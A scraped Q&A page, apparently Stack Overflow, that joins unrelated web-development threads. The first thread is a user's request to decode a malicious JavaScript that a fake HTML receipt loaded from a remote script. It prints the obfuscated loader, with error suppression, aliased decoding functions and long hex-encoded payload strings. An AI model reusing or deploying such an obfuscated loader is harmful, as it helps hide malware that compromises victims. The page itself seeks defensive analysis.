I recently got the "joy" of opening an HTML file that was similar to an expected receipt such that I opened the HTML file.
To which, part of the HTML pulled down a JavaScript from a non-descript site that has subsequently removed the content. I grabbed it via cURL before it was removed.
I know the message is encoded, and I am searching for a proper decoder to learn what impacts the JavaScript has had on my system. I have tried unsuccessfully to go to and from a variety of encodings to reveal the actual code. I would be most grateful for any assistance to determine what the impact was, or even just link to decode it myself.
To intentionally avoid having anyone's else be compromised, I am not going to post the entire HTML code, rather just two parts:
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta content="CscQmXx0XvexampUY2Dxa6gGIukh6MLEqSMmfrx6appxwKMF5abGJHTqcllvGIKu0OyrcmlC5J1xG6TiE8KWrbVmVFTvTrJ1OeqaEQoiEWRFHnGFRCa3nFrhw84Jwa4tjB71e1n2nYewmDdOmEL1KRtxwJaaXwcYVs7cruQkrixBnXY3mVoH0nemKXIhNcOgM6hTtwOQMg2yPBSYHbHPCWLDaRablEGrRIbsoDDkK4BM6dVv57snMXMeUqIXhgPCg6JvhjdGlDOpVysg2NxKOwstUEKNrSmqVnvdNQRn4h7jNcOM4jGvRO3DhvJnwd42ceTraO7xnkOJdpTXgWjSJBe7nbQQIlVr8TrohCwMQEow0lgKYp0FN2XA61N8tfPYehpdrVeyAeUvw3IvBfKd8njUBNm8mCReTOcbm7PV3jRuAt0v7jRyan4HqVisayECaEkKxcQL27VxIKFyPsg4vHuy2aalafLju2x4sQMDUQBEEs8oIjIqAxJYgMcyLUf6ROBuxqEIToPKX1Ctk3uptuwUVdNGAAaek4o0rOlj00v4R7lR4OX4NwdI1dQxgl7V0N6uP2GbeF7LOf6G1HQE0IR6SJ88rCe7LrejcUxy55wKtUoIcxUpit6dWJaGjK7cCxo4ckk1j7HRgpq2IR56hWpcur2mxRIWE0Sy8jIwoL22Aypy8mwiNynCoyRRHSifESGQn2kiWISYAHnVIbhWcp7EsA0ogwLGaM0QplGW83gQjH54jUav86ffJD2H3bfalNBjiYkxEMnU3vdxRCECrjoiOUqc7ktorMcx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WY1mJO0VuVx3A4mlLE1ptLRBg4Su80pfe162JHrAHEKN2tjdn6uiGAn1VIO6bCifcG6tI6Q6ArHRdO0MCV2JJskfwJH2jk8h84uVvYDKmrMnr86A6SaymxtmRyQeqvoQuHvAtkilUeGIuRGMR4uMEr0I3PBCx4dyYvh0rU3v43xJMJ4AYqYR2T6AB7ht7g2HloSj4Y6T5x" name="generator"/>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
and then (again, it is clearly not site.site)
<script src="http://site.site/script.php" type="text/javascript">
when I cURL'ed the php above, it came back with
window.onerror = function (errorMsg, url, lineNumber) {
return true;
};
OUQ = setTimeout;
Bpbo = String.fromCharCode;
dSR = parseInt;
BbcUcwd = function (a, b) {
return a.charAt(b);
};
var WGUNFs = '';
var EQRsXT = '6f39569db73a30c9bc4d132742876bbc72a8a51ce51fb31f2a184e746fbf8f9cf9556e7dff645a95af61440d108473d6a9af68475053fbd9937d03d90fe897e9871efa565257a9496986871b49b5f23a2bbd703edf9a97b8d27333f2b9b816e4340b59cffbcfebf8163c0941ba0cbe47eb45cbf2a4f7611e53d3ea3f34d55817f96b5464575de6831e08d4f8fb1ded7d5736f7ecb1638fac6e5b0f2721d9e0ccf703f1123f036dac68f0d773c684e80ab2db85fb2245fceba01904bc14ff20ef334f324ebdac82fe7c2991eb8cf22aac74b967fbb4ac3d2e37cf4727424e0d5564146bef776356734775b60e7191ac59eda477a30f0b8ade674f4544ea55c30ad71646408e4caddf38375695288de57d14d96a391526a5037778cac34a1fc3dfed7fe5bb5d996a39e3f091771202a9a35ecfcddfe251acd1e6627a938ea2e248cad277bc243b436eb6e505a9feb4bba9e61c64f785bd6437ed567f5af12218318decb4825a72dc74e80ec2d5c1f04a7e38c022af33d30ce4f001c78c02a52363b308a523364bd079a65ba4565000df191a63d86aa619742244e9c60fb6285954e0f3aa6589451a4813ea942098a12e114f34a5323b6b7ad46d3ff0bebb997f79ec04551b7b97a4991ff7bc2f41dd560d2922a41e37d4b5059101e92b3007d813a78065ee25b4500ff51ba3543b4d3457df04bedb3389ae199c7d51d5a5f625cedb20a2e0a6b23a66e4a162f0e6e6042fe0bebd295d39791981edac8de90a3d72b2ab4b7818d24464b4f7a74769a565fd94051c148c799a3ae9a53eefa1126a86edee9f40b5d20d8c4f76ff3c3f5422b157ad5099b00b87f392f73db91607f370040756fefb4f1bd304c7ff6d6a0b4e824d2062961e604f8535b4d7fdf0a26b3c6046613a692d9dd97c3e112ebb5937f5a127b1ca4284d0311b0480c9d26eafacae9f4d736656786404f71a14582f57cc0c7661bcbfbf7a9fb39ede127b4f2fe39c185c164d41e0f4761f1210fbcb151a8bc8e64ad93aef286640b93b1a32dcb824920715ee08ff0cdd5f29e7e3ec33f4b1bd29ee6429f02cf526a4bb10dffa041017660a595f9838b22d9256f216d30a25f8a00340385857cf92433e1c19ec1a6245556b6742c5d1680494f01806236a72723cfb2f871a2b07ec59ec76686547bb23e9093234b67b336cc927d873e5dc48b22ef85824dfccbfb10e12e055544c2301e12f086042e89834816641945f83fcec49a3ac566fb40374464733762f055ba31e3a4b3029f6b5019a2cb968b8dfa9a2e7fd4139344e21bb5078cae6b0f332bb4403abb2d150c3f2b3e4eab7d5214d99b82e37c946d7b0de44091a49b63411d51fcfea6021fcad1d569dc567b1a9e20b23eabb6b7f5940835502f0bb9d3d9945f77252c7937260cfebf2b0627cac70793ba379aae9433ae644f34251320e567abd68e8eab2cf743b9c820f2c2e5e931ea0247a0d239fbfaea57fb52a1ae79dad114c087d2fbff94244c0674e2da55ee40b6369b575497aea731548a8c610b8eee4adeb6b6c35523d06ba5215254f552552174521e311736a33077629d3b74dd51afe7aa87ba6fdb34e5624758329971422a3a4b4548d18d9060c67768c5703510446ba96b0f4bd97f887171d9f4461702d2efc3a1cb718dbcece4a3c80959de9687d4b361e7f5f2fa7b0d8c1cef05142a808aa14f400776d43c86ad1225ecae1030b65e949bff71e137fb86265454221011756ef1bc31ee4cc0b585e6f060c5f668325f174ad43e014aba067abd0133543785006179ffb6686ed3cf1c06f3b73b8d07f9291f02eb896397cb969e7baaefe8c88052041b3a5667d1b56b751150da1245b7e0911e23e8da5ec6f6107fca86aa7a80b791b1e145071218113b44f316d3fa2b988a75be27fa8d11e59cd2e2c96583d6de63ac90be7e67c99fb3d7f0444e18fed9350701e2b86be2c3dae0d9a1eafa856fc9834550c83f07f6018db95c87056edb61015b63b141274c2d062b93870e0a704623b18eb646cc245fa69a7c723d9b4bc81b0de19075a0ad3e222e0a54a1211031cf9339a2d6dd21252de085fe941f588210a196e17e15e27e9be60c0b14c38c652d07d53f77870b9abf4e7762be8faf5e61ecaabaab83bba4828ab6e0b17bc22b9dcf136ff85669ee224d156379c0cfdf287277e0cf02420f700acdbe0761949d395cb4e653b73296c1dd651ced70ff8a526c59336522e897279398eb40eed02ff3f0327d94dc6e45a48baa5c5cf39f5a864f755d5beefb90e4fefa1961f99210d9332f32d63457f802f144f0837b188cf1982d31f43f450836e1cb38a4067a21d0062d9b3f27be9f1c8893df3c5ce4a44ac5b23977574f0ed8219b5e684967a0d55dbab49ba406f97225ae34bfc5b4b2aacba77113f32f207d37aacd7d70d5fe177d06fd1fa78dd3d0abd6be5d7b733bb4313ef5e4ce964a3567a7105e8509e7bbe2319a8e2083fdaab1d376158bdfd851ab43692dc8e7cff8ab74e69285206a02556df03184db6cb173924f3a65c25ac076aa8f98da3e8959eb68349463945fb8040af6d6efa2170c17dae6358bcdec3f9abe3b34b415b3b196ee3e6291b00162e28c1ae3f6b31850b494c56d525ec3813aae8bcd9c1d42b2774d90e2ea01708f81556281e35c71d7618796bbe3528466ed046707b075c201ac5be3b48217cac874805b5eef6ca744e4e0cac08748b126fecafc9e4cded96fb35d1a7bf5b1c4dd5a4565f126ca7f3123f0ac047ac2c7aada628d3da6f0261323a40a2ac154aefb2e96e5c06174dbaf143ed29787e424ac37d7cefcf2ee488fd7eb791f230094635095700e80829a5730f1671f25027e1b327bf031e731370278fa441e679119fed2af6b6797e57aff516a568cfbdbe11adea6c746e26dbb0c1527d0f38c1706ba3637ff7d07bb3466724f2bb94abca6617c70c6ceefef8a0c3b92f7f7c6035560c6582b27703bed798587730413c1106053f7c6ce7f8488f371afeb8b61659efaf5b3718f30b7861bb657350695c14aa3fc1429cfbeb16f1080da707438cfe51f570caf6fdf5121c732731454772d69157f7ffdae742ed4d6b463dba7e4c0821aa25199e82a9ed83ec987e72bea8170c41c3a42397f100ebc946ac74d6c356c0f4a066312ec8b78a12f7d4c0c845ad070de49eb90ef47aa4ebc62f4f7b3313916c2b3fed5dccd3bd48cb00577a3827466df64b4707fd920b0b025d2cf665597abd0fcb625eb3bff6ac100a3d0165c63c1dd3eee72b2d11410cd6ae7a40b153d35435c44e358f6a42acfab66cbca85eb11297609d7bfed015c9068e094724334f944c7546f410b01f51387a1c6fdc7c671ce9cebc54a70f0d26f02f662c3a62b0ce861741ee53755970579b8cf194302ab5124bd092fd0078c0cd093100e8f92f0154e4122947636e3627073f230fc32a1a60e5a78335d88aeff748763d805562a655b4adf045ade8552ddb310c687b8fe8a7f4206777b712';
var NYUrVU = '661b7bc297614aa9df3b7c492faa11d51dd2cd7cbf70c47f48352d171fdfab9bdc7a4e5ee44926a19445663031a919b7decf5671383494b9bd156ec16d93da94b23cc9747f6b95665bb4bb8029c195130b871506bcbaaedcb70a55ccb79a3ac5162c7abb9dbfcf8e82493569d46aca6cb225c49a8fe14b3537b89f6e62b93e3fd2545e447882caa34183b58bdd74a243365c989add0be5d94338824544b2858da0689c7b547947910699aa12b0e3cd268cd2a7db0466dcd0d97c799d6b8f47d75c2e47309991a7901554accaaa8045d84fb647e0978e1e0f5bbc6d553b3a62344a66048e040b6b56770ad02c4c9f917ed2895885647da9ae173b2b24c93faa66b07e3280ac7fdea71f0d5db608b1c66039b91b1c6954dc6f1558a9b03b7babb2d35dd8cd26bb5235c6d3b5573727ccd472bec3bce224e0b7e16c5fb6b385c46abdb7089c4753311ec5d965c79fc4d7d08c6b4a93e5ca215b8a3b1a3885545b4ddd8ed4d13f21bc5ece66babaaed264270ca20fca5aa27f92b36cafe36ba32e44982c85081a32c41dd63ac2392930ba7e7226b514cc801d563aabbf5bda531c388f988649e6317a2836c3d015c7944c843d56db4b7c0e1dbd235adad4cbb6612387792b7355aeb1be40d8a11266b4387d5c53cf3f59a79114b123ca0c1428a919afa34ad208c5367dd970cf294f3d0b35c368cfc30c848e3cc0613aa3d09a56a8b5528393cac54f17bece159a89d3302ac3a09f0c821e0318a6d18faecd2a4d14c48e1f227d86675995d6c9745dc50cd2a7662b7bb441b05bdfa10d8ec62b5eb089e3b07590b969b77d469e0c5b6841dc669568add86bb1c1aad114de274091492b3f209f8a7164a2718f8807042e76a6744704a428067fb25388e49ccb985a13557453055f23ade04d0b2a4c906158cbc21f89a929e5ba017e6ab4afb25a9cd098ab2b475835424b43817d677d6f21af641805d59f875fc193a6a9740e7059e2ac646e277a2c8f875f697865e0a42c2fb3a2df64915d90794830df5a7d4ab69a18bb3d81ca25da78a01a508f85905dd79e8509c2155b9e44940dc5cb82b7bd6f71682666423fb34ad563e236bb7ba72310b0c767151b3d40b2e4034f3973c8363a23343b4b24afb31e45e3d9712f14445d6111cf06dd6e4d78a23fa91d1d4f73c7568445495ee3585007ac5a9b07d0af61995c8e3270aaa2daa36d7a84291a3b1078ca1e244e6edbb21eac5e39b574c1dee372e1a777519427596a355209146236d07e573372599ad266bd129913d9b1d2d083a62f4c56210c9e3c11be9a8cdf22e02f6ed0dfb483a1a2e2cac68ee20172bd991117c429aa92bf2c663a75995271ba71add46a02df91417ac1b508c58b8279478dc850437e1fa47a60cdb5bf1fbc65d75728a8e25212ad8ed591441ac8140c58c91adec93664802385353540375d5e9e4cc9ce92a6131cb8e07e4e4b31c075c94e1e7d4cc186909757c30a3bc7bf91366e281e45d2d43728b24b2a109a669037031bd2173a5689187d33ddb12cd5c6d484e46250192d38139b757d47707f593c72704c8f791a128061634fa5d32ca8429b2c855b89c495636c11838c0dbb3407c2cadc77b23ab1757c0250886026717b4eb1a0c895d1b993e4673da6694e0c46409d586b9b6abac0ac244da4a8a4c920182755710d7b119c94c3a3a4853664952ce16883654f674abf0ea7032db2892736499226df84787814d0511a2528457669339f24cd1990ae2e7382116b677b4baf0cd121cc34c532918149cdbd7e444a5a71801fc1df47abce1dd1e4521e5e9bb91bb3bc8650debd5a1ad70f94d291c2b1bb2f2e6495874b5f3d779874352d860d75090534c61fb085cc52462ade8b4dd6ce7e5d808361355120a382d43b14295edbdea38835890d8896802faa0a06ba435919b653a972cfd25eb5de104f2e74d6a5e2a97c47351ab9911f1e893a94418f8b78dcb914762da7d55f0478b8e0a8173b9a9a777add547e7c4ce5b707ce62148bc73b0c637a990a0fa831c24ddba659b28996ba92bc66793
Based on the function above, it is clear there is a url intended, but I am not sure if any other rouge JS was run.
Related
I have successfully embedded javascipt with jQuery into a page in SharePoint and I am trying to write a function that, when called on load, obtains the data from an excel file that has been uploaded into the SharePoint's library, so that I can manipulate it with JavaScript and push it into a SharePoint List. My issues are coming from that first part. I have attempted to do this with the following code, which was obtained from SharePoint's documentation and modified to use the ".fail" function instead of the deprecated ".error" function:
function readFile() {
var clientContext;
var oWebsite;
var fileUrl;
clientContext = new SP.ClientContext.get_current();
oWebsite = clientContext.get_web();
clientContext.load(oWebsite);
clientContext.executeQueryAsync(function () {
fileUrl = "My file's url as obtained from SharePoint";
$.ajax({
url: fileUrl,
type: "GET"
})
.done(Function.createDelegate(this, successHandler))
.fail(Function.createDelegate(this, errorHandler));
}, errorHandler);
function successHandler(data) {
console.log(data);
}
function errorHandler() {
console.log("Request failed: " + arguments[2]);
}
}
This appears to work, as I receive no errors and the data is indeed displayed in the console. However, instead of the file's contents, I see this:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name='viewport' content='width=device-width, initial-scale=1' />
<meta name='robots' content='noindex' />
<link rel="shortcut icon" href="http://spoos-16-rdn.bankofamerica.com/wv/resources/1033/FavIcon_Word.ico" />
<title>Document.docx</title>
<script type="text/javascript">
var WOPIPerf_UserClick = null;
if (window.sessionStorage)
{
WOPIPerf_UserClick = window.sessionStorage.getItem("WOPIPerf_UserClickTime");
window.sessionStorage.removeItem("WOPIPerf_UserClickTime");
}
</script>
<script type="text/javascript">
function ULS6zp(){var o=new Object;o.ULSTeamName="Microsoft SharePoint Foundation";o.ULSFileName="WOPIFrame.aspx";return o;}
function getWopiIFrameElement()
{ULS6zp:;
return document.querySelector("iframe[name=WebApplicationFrame]");
}
function WACRedirector()
{ULS6zp:;
var myFrame = getWopiIFrameElement();
myFrame.id = "WebAp
I'm not sure what's going on, but I feel like there's a step missing here. When I enter the url into my browser, it redirects to SharePoint's in-house document editor, where I can indeed see the document's contents and even edit it. Is there something else I need to do to obtain the file's actual content in JavaScript?
You need to use the URL to the file, not the URL to Office Online's viewers/editors. The direct URL should look something like this:
https://yourDomain/sites/yourSite/yourLibrary/yourFileName.xlsx
https://yourDomain/sites/yourSite/yourLibrary/yourFolder/yourFileName.xlsx
When entered in a browser, this URL should start a download.
I found the answer: The query url needs to utilize the ExcelRest API built into SharePoint. To do this, I simply had to add "/_vti_bin/ExcelRest.aspx/" to the url in the following fashion:
https://yourDomain/sites/yourSite/yourLibrary/_vti_bin/ExcelRest.aspx/yourFolder/yourFileName.xlsx
I am trying to set up a service on my web space that will receive parameters attached to a URL. Then extract them on the server in a script to replace default parameters by the received ones to generate charts.
I am just engaged with html, javascript, jquery and google charts for roundabout one week. Took some quick online tutorials on some aspects. So I am a novice. Please excuse errors in terminology!
Basically in a web browser the url will be entered with attached parameters. The script on the server receives the url, extracts the parameters and puts them at the places where default values are situated in the code. In the index.htm file is a code that defines properties of a Google Chart. The url parameters are the values of the columns. From that a request to Google Charts API is sent, which returns the generated graph, which is then visible in the browser window of the user.
I have made an example code for the diagram (see attached). Now I am searching for a simple method to do what I stated above. I already read about "param"," "get", "set" and have seen many example codes, with and without jquery, etc. Everybody does it in his own way and with various complexity. I tried to implement those methods into my code, but had a lot of errors I could not solve.
Unfortunately it was not obvious to me for some code, where to put it exactly, as in the examples it was at a certain position, which did not work out for me (sorry that I have included more lines of code as usual people would do here to show you, but it is necessary for me to understand it).
Could you maybe help me, showing me in the example code I provided how I could do it for the three columns of the chart?
The url could look like that:
https://example.org/?c1=10&c2=12&c3=7
In the code the parameters have the same names c1, ..., for simplicity.
Additionally, image of code: https://imgur.com/ns1hL2P
Thank you for any help!
Kaydon
<!doctype html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<div id="chartA"></div>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script src="http://www.google.com/jsapi"></script>
<script>
google.load("visualization", "1", {packages:["corechart"]});
google.setOnLoadCallback(drawChartColumnChart);
function drawChartColumnChart(){
var data = google.visualization.arrayToDataTable([['',''],['c1',1],['c2',2],['c3',3]
],false);
var options = {"axisTitlesPosition":"out","width":"900","height":"500","focusTarget":"datum",
"animation":{"easing":"linear"},"bars":"horizontal"};
var chart = new google.visualization.ColumnChart(document.getElementById('chartA'));
chart.draw(data, options);
}
</script>
</body>
</html>
You can use getParameterByName(name, url) to extract parameters
var url = 'https://example.org/?c1=10&c2=12&c3=7'
function getParameterByName(name, url) {
if (!url) url = window.location.href;
name = name.replace(/[\[\]]/g, '\\$&');
var regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)'),
results = regex.exec(url);
if (!results) return null;
if (!results[2]) return '';
return decodeURIComponent(results[2].replace(/\+/g, ' '));
}
var c1 = getParameterByName('c1', url);
console.log(c1);
// your function liket this
/*
function drawChartColumnChart(){
var c1 = getParameterByName('c1', url);
var c2 = getParameterByName('c2', url);
var c3 = getParameterByName('c3', url);
var data = google.visualization.arrayToDataTable([['',''],['c1',c1],['c2',c2],['c3',c3];
],false);
*/
I am currently contracted to a place that cannot use a CMS or PHP, but they want me to build something like a CMS using HTML and JavaScript.
I know it sounds ridiculous but I do not want to be searching for another job these days and they are the nicest people that I have ever worked for - EVER - and I old.
One of the concepts of a CMS is to have global files that you can include at any given time.
As a result, I tried the $.ajax, $.get, etc..., but I was running into issues of Access URI denied and those kind of things for trying to load a file which is one directory level the current directory.
I was able to get the javascript file to load by using the old XMLHttpRequest/ActiveXObject.
However, the script within the div that has been loaded cannot be called. I receive an error of "Can't find variable: mFunc" which is the name of the function that has been loaded into the div.
Here's the code for my html:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>retrieve local file one level up</title>
<script type="text/javascript">
<!--
var createRequestObject = function(){
var req;
if(window.XMLHttpRequest){
// Firefox, Safari, Opera...
req = new XMLHttpRequest();
}else if(window.ActiveXObject){
// Internet Explorer 5+
req = new ActiveXObject("Microsoft.XMLHTTP");
}else{
alert('There was a problem creating the XMLHttpRequest object');
}
return req;
}
// Make the XMLHttpRequest object
var http = createRequestObject();
var sendRequestPost = function(){
var jscript = '../test.js';
// Open PHP script for requests
http.open('GET', jscript);
http.setRequestHeader('Content-Type', 'text/javascript');
http.onreadystatechange = handleResponsePost;
http.send(null);
var mT = setTimeout("mFunc()", 2000);
}
var handleResponsePost = function(){
if(http.readyState == 1){
document.getElementById('mDiv').innerHTML = "Please wait, loading... " ;
}else if(http.readyState == 4 && http.status == 200){
// Text returned from PHP script
var response = http.responseText;
document.getElementById('mDiv').innerHTML = response;
if(response){
// Update ajaxTest2 content
document.getElementById('mDiv').innerHTML = response;
}
}else if(http.readyState == 2){
document.getElementById('mDiv').innerHTML = http.responseText;
}else if(http.readyState == 3){
document.getElementById('mDiv').innerHTML = http.responseText;
}
}
-->
</script>
</head>
<body onload="javascript:sendRequestPost();">
<div id="mDiv"></div>
</body>
</html>
Here is the javascript that loads just fine into mDiv:
<script type="text/javascript">
<!--
var mFunc = function(){
var mScript = document.createElement("script");
mScript.setAttribute("type","text/javascript");
var data = 'alert("gets here");'
mScript.text = data;
var head = document.getElementsByTagName("head")[0];
head.appendChild(mScript);
}
-->
</script>
Yet, after the two seconds have passed, I receive the error.
I am sure that it is probably because the browser just sees this as text within the div, so how do I make it recognize that it is javascript.
I have tried using eval, which I do not want to use, but even returns a parse error.
Thanks in advance
../ has meaning to the local filesystem (on most platforms), but not to HTML or to most webservers. Remember that the URL is just a query string for the server.
Generally speaking, you need to parse the URL to remove the undesired few elements. If you just want scripts that are common across the website, though, they should be referenced from the root, so the relative URL would begin with /.
A quick hack would be /(.*)\/.*/.exec( '/foo/bar/baz.html' )[1]. This doesn't handle the query string following ? or anchor following # but you won't have a query on a static website, and won't have anchors until you get into more advanced techniques. jQuery has a better utility for parsing URLs, also based on regexps.
It's offtopic for this site, but you will have to be very familiar with XHR to implement a JavaScript CMS.
OK, another programmer that I work with, has found a simple solution.
Instead trying to use ajax to load a JavaScript file from a higher directory level and then run a document.writeln or document.getElementById("someDiv").innerHTML -- reverse the steps.
Include the JS file as you would normally:
<script type="text/javascript" src="../../common/header.js"></script>
Within this JS file
function CommonHeader(mPath) {
document.writeln('<header>');
document.writeln(' <div class="PageWidth">');
document.writeln(' <h1>Something<sup>®</sup> <em>Learn about us</em></h1>');
document.writeln(' <nav>');
document.writeln(' <ul>');
document.writeln(' <li id="loginOut"></li>');
The order needs to be for you to call document.writeln at the beginning of the process.
We can now load header.js, footer.js, and whatever other file that we wish to load, along with having an array at the top of each page denoting the path to those files, for lower directory level htmls
dynamicPathArr[0] = "../../";
Then within whatever file, you can call the function to write the date into the page
<script type="text/javascript">CommonHeader(dynamicPathArr[0])</script>
I cannot believe that I did not think of this completely simple solution.
Although this is not SEO friendly, it is good for only updating header, footer, nav, etc... in one location, until everything is finalized.
And thanks you for the response
This question already has answers here:
Closed 10 years ago.
Possible Duplicate:
How can I get the content of the file specified as the 'src' of a <script> tag?
this may seem like a strange question but it's been on my mind. Say I had a HTML file that references one or many JavaScript files, these files are local but could be external. Now for some reason (my own curiosity) I wish to output the contents of one of these files like a string and write it to the console or even alert the contents. So say I have the following JS file called jsFile.js:
// JavaScript Document
var testString = "I am just an output... or am I",
testNumber = 1,
testArray = [],
testObject = {};
// random functionality, etc... etc...
if(testNumber > 100){
// do something...
}
and I want to output this like so when opening my HTML page:
however I am unsure how to do this, can I find the SCRIPT tag in the dom and use a method on it to output it's contents (see below) or do I have to read the file (somehow) then loop through each line of code collecting it in a variable, then output it by either alert or console.log
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Hello World</title>
</head>
<script type="text/javascript" src="jsFile.js"></script>
<script type="text/javascript">
// find the JS node...
window.onload = function(){
var theFile = document.getElementsByTagName("script")[0];
// none of these will work as the code within the jsFile.js is not a DOM object...
console.log(theFile.text); // returns a zero length string
console.log(theFile.innerHTML); // returns a zero length string
console.log(theFile.textContent); // returns a zero length string
}
</script>
<body>
I am just a HTML file... no more, no less...
</body>
</html>
Above is my first attempt however none of these methods will work as the contents of the script are not DOM objects. I don't need a code specific answer, just a proof of concept, idea or point in the right direction. If I'm not making sense please say so and I will reword my question.
You will need to make an AJAX request to the URL of that script and display the content where ever you want to (just grab the responseText), it is a server side resource, and the returned content will be your javascript :)
While epoch essentially has answered this already, I was triggered by this challenge, I've written a little snippet that dumps all scripting resources to the console, provided that they are upon the same domain (origin). I've tested it in Chrome.
var f = function (src) {
var origin = location.origin || (location.protocol+'//'+location.hostname);
if (src.substr(0, origin.length) != origin) {
return;
}
x = new XMLHttpRequest();
x.open("GET", src.substr(origin.length), true);
x.onreadystatechange = function () {
if (x.readyState == 4 && x.status == 200) {
console.log(x.responseText)
}
};
x.send();
};
var s = document.getElementsByTagName('script');
for (var i = 0; i < s.length; ++i) {
f(s[i].src);
}
how to get description/content of web page for given URL.
(Something like Google gives the short description of each resulting link).
I want to do this in my jsp page.
Thank in advance!
Idea: Open the URL as a stream, then HTML-parse the String in its description meta tag.
Grab URL content:
URL url = new URL("http://www.url-to-be-parsed.com/page.html");
BufferedReader in = new BufferedReader(
new InputStreamReader(
url.openStream()));
Will need to tweak the above code depending on what your HTML parser library requires (a stream, strings, etc).
HTML-Parse the tags:
<meta name="description" content="This is a place where webmasters can put a description about this web page" />
You might also be interested in grabbing the title of that page:
<title>This is the title of the page!</title>
Caution: Regular expressions do not seem to work reliably on HTML documents, so a HTML-parser is better.
An example with HTML Parser:
Use HasAttributeFilter to filter by tags that have name="description" attribute
try a Node ---> MetaTag casting
Get the content using MetaTag.getAttribute()
Code:
import org.htmlparser.Node;
import org.htmlparser.Parser;
import org.htmlparser.util.NodeList;
import org.htmlparser.util.ParserException;
import org.htmlparser.filters.HasAttributeFilter;
import org.htmlparser.tags.MetaTag;
public class HTMLParserTest {
public static void main(String... args) {
Parser parser = new Parser();
//<meta name="description" content="Some texte about the site." />
HasAttributeFilter filter = new HasAttributeFilter("name", "description");
try {
parser.setResource("http://www.youtube.com");
NodeList list = parser.parse(filter);
Node node = list.elementAt(0);
if (node instanceof MetaTag) {
MetaTag meta = (MetaTag) node;
String description = meta.getAttribute("content");
System.out.println(description);
// Prints: "YouTube is a place to discover, watch, upload and share videos."
}
} catch (ParserException e) {
e.printStackTrace();
}
}
}
Considerations:
If this is done in a JSP each time the page is loaded, you might get a slowdown due to the network I/O to the URL. Even worse if you do this each time on-the-fly for a page of yours that has many URL links in it, then the slowdown could be massive due to the sequential operation of n URLs. Maybe you can store this information in a database and refresh them as needed instead of doing in it on-the-fly in the JSPs.